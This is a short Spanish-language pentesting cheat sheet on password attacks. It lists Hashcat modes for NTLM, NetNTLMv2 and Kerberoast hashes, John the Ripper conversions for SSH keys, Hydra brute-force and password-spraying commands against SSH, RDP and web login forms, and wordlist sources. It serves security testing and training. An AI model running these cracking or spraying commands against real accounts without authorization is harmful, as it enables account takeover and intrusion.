# Cracking & Spraying

Si no puedes explotarlo, adivínalo.

## 1. Offline Cracking (La GPU es tu amiga)

### Hashcat Cheat Sheet

* **Identificar Hash**: `hash-identifier` o [Hashcat Wiki](https://hashcat.net/wiki/doku.php?id=example_hashes).
* **Comando Base**:

  ```bash
  hashcat -m <Type> -a 0 hashes.txt rockyou.txt
  ```

| Hash Type            | Código (-m) |
| -------------------- | ----------- |
| NTLM                 | 1000        |
| NetNTLMv2            | 5600        |
| MD5                  | 0           |
| SHA-256              | 1400        |
| Kerberoast (krb5tgs) | 13100       |

### John The Ripper

Para formatos raros (zip, ssh keys).

* `ssh2john id_rsa > hash`
* `john --wordlist=rockyou.txt hash`

## 2. Online Attacks (Cuidado con los bloqueos)

### Hydra

```bash
# SSH
hydra -l user -P rockyou.txt ssh://<IP>

# RDP
hydra -L users.txt -p 'Spring2025!' rdp://<IP>

# HTTP Post Form
hydra -l admin -P pass.txt <IP> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login failed"
```

## 3. Wordlists

* `/usr/share/wordlists/rockyou.txt`: La biblia.
* `seclists`: Repositorio masivo (`apt install seclists`).
* `cewl http://target.com -w custom.txt`: Generar lista basada en la web del objetivo.


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